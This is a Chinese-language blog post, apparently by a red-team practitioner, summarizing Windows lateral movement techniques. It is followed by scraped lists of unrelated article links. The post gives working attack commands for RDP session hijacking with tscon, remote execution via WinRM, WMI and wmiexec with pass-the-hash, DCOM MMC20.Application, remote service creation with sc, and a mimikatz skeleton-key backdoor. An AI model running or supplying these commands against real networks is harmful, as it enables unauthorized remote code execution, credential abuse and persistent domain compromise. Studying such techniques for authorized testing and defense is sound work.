Lateral Movement
简介
这次去宁夏护网,发现我有的朋友连最基本的横向渗透有些都不晓得,他们问我 我也表达不清楚...,就想着写篇文章总结下吧
(慢慢更..)
可以发我邮箱讨论:muxue@protonmail.com
Tscon
我这里用的是Windows Server 2012
利用PSEXEC
提升至system
权限
在一个机子上要是有多个用户登录,可以使用query user
或者在任务管理器里查看状态
我们普通用户连接是需要密码的,但是system权限下就不需要
- 首先获取目标用户的id
query user username
- 连接用户
tscon id
tscon id /dest:console
我是直接rdp了 没有出现一个新的控制台,有大佬解决办法 拜托call一声
WinRM
winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。
适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
需要先配置
// 查看
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
// 开启 本地
winrm quickconfig -q
or
Enable-PSRemoting -Force
还得接着配置
winrm set winrm/config/Client @{TrustedHosts="*"} // 通配
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com"}
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com,IP"}
// 查看信任主机
winrm get winrm/config/client|findstr TrustedHosts
// Attack
winrs -r:192.168.0.114 -u:administrator -p:pass whoami
WMI
从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息
wmic /node:ip /user:administrator /password:pass process call create "command"
然后我要重点写下WMIEXEC
,impacket
里有py版本的,也有ps
、c#
的;我这里先记录vbs的
虽然有半shell 和 执行单条命令,但是我执行单条命令他给我返回了半交互式shell
cscript.exe //nologo wmiexec.vbs /shell ip username password
然后我们尝试使用hash(ps1,py,vbs的也可以 需要wce注入hash)
wce –s 账号:主机名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell ip
python
python3 wmiexec.py muxue.com/administrator@10.10.0.128 -hashes lm:ntlm
ps
Invoke-WmiExec -target 10.10.0.128 -hash hash -username "administrator" -command calc
当然还有好多款工具是基于wmi的横向工具:
https://github.com/360-Linton-Lab/WMIHACKER
https://github.com/QAX-A-Team/sharpwmi
DOCM
先说下COM和DCOM是啥东西
COM:COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
DCOM:DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
也就是DCOM是COM(组件对象模型)的扩展
所以执行命令也得需要看组件
DCOM执行命令可以分为两种:
- 本地执行
- 对远程执行
在本地通过DCOM执行命令
- 先获取本地DCOM程序列表
使用一个powershell命令(在version3以上才有),Get-CimInstance
Get-CimInstance Win32_DCOMApplication
, 低版本可以用Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
我们使用MMC20.APPLICATION COM
这个组件来进行命令执行
此 COM 对象允许您编写 MMC 管理单元操作的组件的脚本
2. 创建一个实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
注意要在管理员模式下
获取实例后,然后查看COM对象中的不同方法和属性
$com.Document.ActiveView | Get-Member
然后调用这个方法执行命令
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
使用DCOM对远程主机执行命令
- 简历ipc
- 创建实例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","ip"))
- 执行:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\1.exe","Minimized")
还有很多组件也可以执行命令 参考https://www.freebuf.com/articles/network/261454.html
SC
服务配置管理器
// 创建
sc \\ip create systemhelp binpath="cmd.exe /d c:/test.exe" start=auto
// 查看信息
sc \\ip qc systemhelp
// 开启
sc \\ip start systemhelp
// 删除
sc \\ip delete systemhelp /y
也可以使用scshell
,https://github.com/Mr-Un1k0d3r/SCShell
SMB RELAY
SMB中继的攻击手法 可以去搜着看,或者我以后写出来..
set AutoRunScript post/windows/manage/migrate
Skeleton Key
也就是万能密码
用mimikatz就可以实现
privilege::debug
misc::skeleton
会为所有用户加一个,mimikatz
的密码
配个图
Lateral Movement的更多相关文章
- Day 3 @ RSA Conference Asia Pacific & Japan 2016 (morning)
09.00 – 09.45 hrs Tracks Cloud, Mobile, & IoT Security A New Security Paradigm for IoT (Inter ...
- Coablt strike官方教程中文译版本
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- 开源流量分析系统 Apache Spot 概述(转)
原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...
- Coablt strike官方教程中文版
安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...
- ATT&CK框架学习
ATT&CK模型 ATT&CK是分析攻击者行为(即TTPs)的威胁分析框架.ATT&CK框架核心就是以矩阵形式展现的TTPs,即Tactics, Techniques and ...
- ATT&CK模型
Credential Dumping(凭证窃取) Dump credentials from LSASS(从LSASS中窃取凭证) 实现原理: This technique injects into ...
- 【路径规划】 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame (附python代码实例)
参考与前言 2010年,论文 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame 地址:https ...
- hive 使用笔记(table format;lateral view)
1. create table 创建一张目标表,指定分隔符和存储格式: create table tmp_2 (resource_id bigint ,v int) ROW FORMAT DELIMI ...
- JQuery时间轴timeline插件的学习-Lateral On-Scroll Sliding with jQuery+technotarek / timeliner
一.Lateral On-Scroll Sliding with jQuery的使用 View demo Download source 1. HTML结构 <div id=" ...
随机推荐
- 通过busybox制作根文件系统详细过程
我在之前的uboot通过NFS挂载ubuntu根文件系统中也有实现过根文件系统的制作,那只是在ubuntu官网已经做好的根文件基础上安装一些自己所需的软解而已.而使用busybox制作根文件系统可以自 ...
- 浅读tomcat架构设计之tomcat生命周期(2)
浅读tomcat架构设计和tomcat启动过程(1) https://www.cnblogs.com/piaomiaohongchen/p/14977272.html tomcat通过org.apac ...
- POJ 3126 Prime Path 简单广搜(BFS)
题意:一个四位数的质数,每次只能变换一个数字,而且变换后的数也要为质数.给出两个四位数的质数,输出第一个数变换为第二个数的最少步骤. 利用广搜就能很快解决问题了.还有一个要注意的地方,千位要大于0.例 ...
- Redis:Java链接redis单节点千万级别数据 写入,读取 性能测试
本文是对Redis 单节点,针对不同的数据类型,做插入行测试. 数据总条数为:10058624 环境说明: Redis 未做任何优化, 单节点 (服务器上, 内存64G) ...
- Java:Java实例化(new)过程
实例化过程(new) 1.首先去JVM 的方法区中区寻找类的class对象,如果能找到,则按照定义生成对象,找不到 >>如下2.所示 2.加载类定义:类加载器(classLoader)寻找 ...
- APP-SECURITY-404 组件导出漏洞复现
参考资料:https://github.com/wnagzihxa1n/APP-SECURITY-404/blob/master/2.%E7%BB%84%E4%BB%B6%E5%AF%BC%E5%87 ...
- IDEA部署了项目,其他页面可以正常访问,但访问tomcat的localhost:8080却出现404
解决方案 点击Edit Configurations 点击右边的加号, 把目录放在你tomcat目录下的ROOT目录.之后就可以正常运行了
- Arduino IDE 2.0 beta安装
1.在官网(Software | Arduino)下载安装包,此次提供操作系统有:Windows.Linux和macOC系统 2.点击安装包进行安装 3.点击我同意 4.点击下一步 5.选择安装路径( ...
- RSTP_PA协商过程
P/A协商的基本需求: P:①DP端口,②discarding A:①P2P链路 所有交换机的stp mode改为rstp,确保sw2的g0/0/3为AP,sw3的g0/0/3为DP 把sw3的g0/ ...
- 可搜索加密技术 - 学习笔记(二)- 预备知识:HMAC-SHA256函数
由于在之后的算法中会用到HMAC-SHA256函数,这里先简单对其进行一个介绍. 一.HMAC算法 什么是HMAC算法? HMAC是密钥相关的哈希运算消息认证码(Hash-based Message ...